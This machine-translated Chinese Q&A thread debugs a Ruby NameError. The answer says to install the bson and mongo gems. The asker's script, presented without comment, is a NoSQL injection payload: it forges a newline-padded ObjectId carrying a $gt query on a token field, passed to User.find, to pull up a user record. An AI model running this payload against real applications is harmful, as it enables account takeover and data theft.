我试图在ubuntu 14.04上执行ruby代码并执行获取错误时
'':未初始化的常量BSON :: Document(NameError)
代码是,
#!/usr/bin/ruby
require 'uri'
require 'bson'
require 'mongo'
b = BSON::Document.new
b["$query"] = {"token" => {"$gt"=>""}}
payload = b.to_bson[4..-2]
id_ish = ("\n\n" + "a"*24 + "\n\n")
fake_id = "a"*24 +
"\x02_id\0".unpack('H*')[0] +
[id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" +
payload.unpack('H*')[0]
puts URI.encode(fake_id)
User.find fake_id
我已经阅读了文档, BSON Tutorial
知道我在这里失踪了什么。任何指针都会受到赞赏。
答案 0 :(得分:0)
看起来你正试图“在真空中”执行这段代码。
除非成功,否则 require
方法将默默返回false
。此外,要执行代码,您需要安装相应的gem。首先,运行
$ gem install bson
$ gem install mongo
在你的shell中。现在重试您的脚本。上面的宝石应该让一切都运转正常。如果没有,你需要设置ruby环境,有很多教程。
系统/本地ruby也可能存在问题(hashbang行指示执行系统。)尝试删除此行并使用
运行脚本$ ruby script_name.rb